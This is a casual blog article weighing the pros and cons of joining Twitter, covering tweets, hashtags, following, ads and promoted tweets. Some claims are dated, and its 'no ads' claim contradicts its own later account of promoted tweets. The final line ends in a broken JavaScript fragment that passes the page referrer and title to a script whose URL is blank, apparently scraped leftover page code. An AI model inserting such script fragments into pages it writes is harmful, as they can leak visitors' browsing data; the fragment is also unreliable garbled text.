To Tweet, or Not To Tweet?

By Silja Slepnjov

I’ve never been much of a fan of twitter. Why? That’s the question I was struggling to find the answer to. So I decided to revisit the blue bird, dive back into the world of tweets and decide whether it’s worth spending time on another website dedicated to social networking.

Twitter has been around for quite a while (since 2006, actually), so most of you are probably familiar with the concept. It’s basically a microblogging site – users can post messages that are maximum 140 characters long, known as ‘tweets’, follow other users and see who’s following them. You can also ‘retweet’ other users’ posts, browse through trending or popular topics, send personal messages and, as of 2011, share photos through attaching them to tweets. Oh, and it’s completely free. Sounds great? Well, before you storm the website, hold your horses for a second and go through these 7 for and against arguments on getting/having a Twitter account.

Why you should get Twitter:

It’s simple and fast

The design is minimalistic, elegant and neutral; there are no unnecessary widgets or hundreds of different sections that make you want to punch somebody.

It has a lot of cool features

The basics are all there: use it on your phone, find friends via your e-mail contact list. But there are a lot of extras that make Twitter interesting. Hashtags(#) were basically invented by Twitter users – they allow you to categorize your post under a certain topic so that it’s easier to find, similarly see what topics are trending globally(or, just use it as an expression of humour, #ChuckNorrisforpresident). You can also mention other users in your tweet with ‘@’, linking to their account, find people to follow based on your interests and even attach photos to your tweets.

Freedom in following

There’s no Facebook-like obligation of ‘befriending’, in Twitter terms to follow your friend if he/she has followed you and vice versa. Plus, you can follow authors, celebrities, politicians and other public figures, while being sure that the account is verified to be theirs or at least authorized by them (another awesome feature). There’s no ‘befriending’, so it doesn’t seem shallow and pointless, but it’s still a more personal way of keeping track of someone than following a random page – it’s their thoughts. And thanks to the whitelist (accounts that have a higher limit of followers due to popular demand), you don’t have to worry about not being able to squeeze into the numbers.

It’s another great way of socializing

It stands out in the world of social networks for its unique approach. It’s a great way to see what your friends are up to and, more importantly, what’s on their mind, react to it and share your own ideas. Yep, that’s pretty much all you expect from a social network.

It develops your ability to say more with less

140 characters is probably less than most of us are used to. It’s almost like a form of art to express a lot with few words. The result is witty comments and sentences that pack a punch worthy of a novel. If you want to master this art, then Twitter is a good place to practice.

There’s less pointless information

No …-ville game requests, no useless apps, flashy links to webpages, statuses as long as the Great Wall of China and tons of pictures of drunk people that (despite of their strong belief) are not that amusing, flashing in your face. A simple link is a lot prettier to look at. If you don’t want to know, you won’t click it and that’s the end of it.

No annoying ads

Pretty self-explanatory. Twitter doesn’t do ads. Period.

Why you shouldn’t get Twitter:

Not very personalised

Your hands are free in terms of you’re following, who you’re sharing with, et cetera, but in terms of design, it’s quite rigid. Yes, you can set up different themes and colour schemes, but you can’t change fonts or the way text appears in your feed.

Too blue

The features might be awesome, but if your entire feed composes of @randomuserwhodecidestohaveanannoyinglylongtwitteruser and #insertpointlessattemptathumourhere, and links to photos, it gets a bit hard to follow. Then again, that depends on whether the people you follow are fans of the ‘links-everywhere’ practice or not.

All (un)following is public

Yes, you don’t have the obligation to follow everyone who’s following you. Well, what if your friend, whom you like and respect in real life, constantly tweets rubbish and spam? You can’t remove them from your list without scratching their ego even the slightest bit. Or, for some reason, you don’t want everyone to see who you’re following? Pseudo-problem? Could be. But, there’s the follower-competition that pops into your feed once in a while. The pressure to have more followers(=your awesome-level rises), is bound to hit at some point.

More time on social networks?

Yes, it is an awesome concept, but to be honest, most of us spend too much time on the Internet as it is. Adding another hour or two to the daily dose? I’m not sure that’s a good idea.

Sometimes everything doesn’t fit into 140 characters

Fitting everything on your mind into the 140-limit can be a real challenge. “So, what’s the problem? I’ll make two, or heck, even three posts.” Well, you can’t link the posts, so what you thought were great, world-changing ideas, now appear as disjointed mambo-jambo. Most users still follow good practice and avoid splitting their texts into many posts. However, the only thing more annoying than trying to do it yourself is see someone else do it, and constantly. It’s a question of self-discipline, but if you’re always one word short of making it into the limit, it gets a little bit frustrating.


Short posts means less pointless information. At least in theory. According to a study conducted in August 2009, based on the US, only 13% of the tweets were ‘useful information’(news, jokes, or pass-along value). The rest was spam, conversations, self-promotion(47%) and pointless babble(40%).

Third parties and promoted tweets

Ever wonder how social networks, such as Twitter, gain profit? They collect non-private information about their users and send it to third parties so that they can target their ads better. Even though there are no direct advertisements on the site, they do sell (since 2010) promoted tweets – companies can pay for their tweets to be displayed at the top of a search result page of their selection (it’s nothing terrible though, Google does that too).

And now you can go and storm Twitter, if you still feel like it, of course. I, for one, am definitely keeping my account.s.src=’’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;